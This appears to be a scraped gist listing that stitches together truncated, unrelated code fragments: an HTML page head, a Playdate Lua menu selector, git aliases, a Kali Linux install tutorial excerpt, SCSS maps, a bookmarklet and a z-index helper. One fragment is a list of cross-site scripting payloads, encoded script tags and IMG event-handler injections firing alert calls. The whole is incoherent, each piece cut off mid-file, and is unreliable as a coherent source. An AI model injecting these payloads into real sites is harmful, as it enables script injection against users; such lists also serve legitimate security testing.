| <!DOCTYPE html> | |
| <html lang="en"> | |
| <head> | |
| <meta charset="UTF-8"> | |
| <meta name="viewport" content="width=device-width, initial-scale=1.0"> | |
| <title>My Angular from Scratch</title> | |
| <style> | |
| .my-component { | |
| font-family: Arial, sans-serif; |
| -- listSelector.lua | |
| -- by potch | |
| -- MIT License | |
| -- Playdate item selector that unifies d-pad and crank input | |
| -- useful for menus where you want to allow either crank or arrow input. | |
| -- First argument `count` is the number of items. | |
| -- second argument `options` is a table with the following optional fields: | |
| -- `initSelected`: the position of the item selected at start. default is 0. | |
| -- `crankScale`: # of crank degrees for each item. default is 90. |
| git config --global alias.s status | |
| git config --global alias.co checkout | |
| git config --global alias.br branch | |
| git config --global alias.ci commit | |
| git config --global alias.new checkout -b | |
| git config --global alias.recent 'for-each-ref --count=10 --sort=-committerdate refs/heads/ --format="%(refname:short)"' |
Tutorials for running live Kali on OSX often require you have networking on your laptop to apt install the drivers, but without an ethernet adapter you're not going to be able to do that, so this tutorial will cover a method of doing this manually, using another thumbdrive or external data source.
Download the appropriate Kali Linux .iso
I used a 64 bit .iso image, downloaded via HTTP.
Consider supporting my work by purchasing the course this tutorial is a part of i.e. VSCode Power User →
Local by FlyWheel WordPress install is a custom install
| // Customisable spacing units. these can be changed and new ones added | |
| $spacing-units: ( | |
| 1: 3px, | |
| 2: 5px, | |
| 3: 8px, | |
| 4: 13px, | |
| 5: 21px, | |
| ); | |
| // These will not change this is just to help generate the classes with the correct naming |
| javascript: (function () { | |
| function c() { | |
| var e = document.createElement("link"); | |
| e.setAttribute("type", "text/css"); | |
| e.setAttribute("rel", "stylesheet"); | |
| e.setAttribute("href", f); | |
| e.setAttribute("class", l); | |
| document.body.appendChild(e) | |
| } | |
| function h() { |
| %253Cscript%253Ealert('XSS')%253C%252Fscript%253E | |
| <IMG SRC=x onload="alert(String.fromCharCode(88,83,83))"> | |
| <IMG SRC=x onafterprint="alert(String.fromCharCode(88,83,83))"> | |
| <IMG SRC=x onbeforeprint="alert(String.fromCharCode(88,83,83))"> | |
| <IMG SRC=x onbeforeunload="alert(String.fromCharCode(88,83,83))"> | |
| <IMG SRC=x onerror="alert(String.fromCharCode(88,83,83))"> | |
| <IMG SRC=x onhashchange="alert(String.fromCharCode(88,83,83))"> | |
| <IMG SRC=x onload="alert(String.fromCharCode(88,83,83))"> | |
| <IMG SRC=x onmessage="alert(String.fromCharCode(88,83,83))"> | |
| <IMG SRC=x ononline="alert(String.fromCharCode(88,83,83))"> |
| $blue: ( | |
| lightest: #e6f5ff, | |
| lighter: #8bcdff | |
| ) !default; |
| (function() { | |
| /** | |
| * https://developer.mozilla.org/en-US/docs/Web/CSS/CSS_Positioning/Understanding_z_index/The_stacking_context | |
| * | |
| * A stacking context is formed, anywhere in the document, by any element which is either | |
| * | |
| * - the root element (HTML), | |
| * - positioned (absolutely or relatively) with a z-index value other than "auto", | |
| * - a flex item with a z-index value other than "auto",that is the parent element display: flex|inline-flex, | |
| * - elements with an opacity value less than 1. (See the specification for opacity), |